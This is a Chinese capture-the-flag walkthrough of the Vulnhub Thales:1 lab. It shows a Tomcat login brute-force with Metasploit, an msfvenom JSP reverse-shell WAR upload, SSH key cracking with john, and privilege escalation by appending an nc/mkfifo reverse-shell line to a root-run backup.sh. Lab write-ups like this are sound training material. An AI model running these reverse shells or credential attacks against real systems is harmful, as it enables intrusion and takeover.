当前位置:网站首页>【Vulnhub靶场】THALES:1
【Vulnhub靶场】THALES:1
2022-07-07 14:12:00 【Nailaoyyds】
目录
前言
描述
简介:睁开眼,换个角度
包括 2 个标志:user.txt 和 root.txt。
下载链接
https://download.vulnhub.com/thales/Thales.zip.torrent
0x00环境介绍 kali 192.168.56.102 Thales靶机 192.168.56.101
一、信息收集
0x00 arp-scan扫描
arp-scan -I eth1 -l #扫描网卡局域网

0x01 nmap扫描
扫描到两个网段 不确定是哪个 nmap 扫描扫描两个IP

开放端口22和8080

访问站点,发现需要用户名密码

二、漏洞利用
0x00 msfconsole利用
msf搜索tomcat login

配置payload

用户名 tomcat 密码 role1

成功登入
0x01 文件上传

寻找功能点,发现上传点

利用kali生成war文件木马做反弹shell msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.56.102 lport=5555 -f war -o myshell.war
上传成功,并运行

三、权限提升
0x00 反弹shell
监听端口

升级成交互式shell

sudo -l #需要密码,未知 在home文件下发现用户Thales


在`notes.txt`文件中发现`/usr/local/bin/backup.sh 查看文件内容
0x02 字典爆破
发现.ssh文件夹

发现私钥可以用ssh2john.py生成密码文件爆破
用 ssh2john.py 脚本编译一下
/usr/share/john/ssh2john.py id_rsa > crack.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

爆破出密码vodka06
切换用户

0x03 user.txt
查看user.txt---第一个flag

notes.txt是root权限的,里边可能是有东西都

0x04 反弹shell
看到backup.sh是有执行权限的,可以写入反弹shell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 666 >/tmp/f" >> backup.sh
文件内容编辑会直接替换,选择用追加

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 9999 >/tmp/f" >> backup.sh
0x05 root.txt
监听9999,写入以后过一会就自己连接了

总结
Thales学到了
msf的爆破字典的使用
rsa私钥密文的利用
边栏推荐
- Three singleton modes of unity (hungry man, lazy man, monobehavior)
- 融云斩获 2022 中国信创数字化办公门户卓越产品奖!
- Three. JS introductory learning notes 18: how to export JSON files with Blender
- 企业级日志分析系统ELK
- Three. Introduction to JS learning notes 17: mouse control of 3D model rotation of JSON file
- U3D_ Infinite Bessel curve
- Three. JS introductory learning notes 13: animation learning
- SPI master rx time out中断
- Leetcode-136-只出现一次的数(用异或来解答)
- Laravel 服务提供者实例教程 —— 创建 Service Provider 测试实例
猜你喜欢

Good news! Kelan sundb database and Hongshu technology privacy data protection management software complete compatibility adaptation

C4D learning notes 1- animation - animation key frames

10 schemes to ensure interface data security

分步式监控平台zabbix

Logback日志框架第三方jar包 免费获取
![Application example of infinite list [uigridview]](/img/11/3be1c63680e6de8f068e79690ecf12.jpg)
Application example of infinite list [uigridview]

谈谈 SAP iRPA Studio 创建的本地项目的云端部署问题

Odoo集成Plausible埋码监控平台

The unity vector rotates at a point

Shipping companies' AI products are mature, standardized and applied on a large scale. CIMC, the global leader in port and shipping AI / container AI, has built a benchmark for international shipping
随机推荐
What else can an ordinary person do besides working in a factory to make money?
torch.numel作用
There are many ways to realize the pause function in JS
prometheus api删除某个指定job的所有数据
平衡二叉树(AVL)
torch. Numel action
U3D_ Infinite Bessel curve
What are compiled languages and interpreted languages?
Three. JS introductory learning notes 13: animation learning
Shader basic UV operations, translation, rotation, scaling
喜讯!科蓝SUNDB数据库与鸿数科技隐私数据保护管理软件完成兼容性适配
招标公告:福建省农村信用社联合社数据库审计系统采购项目(重新招标)
Unity3D_ Class fishing project, control the distance between collision walls to adapt to different models
2022第四届中国(济南)国际智慧养老产业展览会,山东老博会
L'application à l'échelle de la normalisation mature des produits ai des compagnies maritimes, cimc, leader mondial de l'intelligence artificielle portuaire et maritime / intelligence artificielle des
Unity3D_ Class fishing project, bullet rebound effect is achieved
Logback logging framework third-party jar package is available for free
应用程序和matlab的通信方式
Leetcode-231-2的幂
统计学习方法——感知机

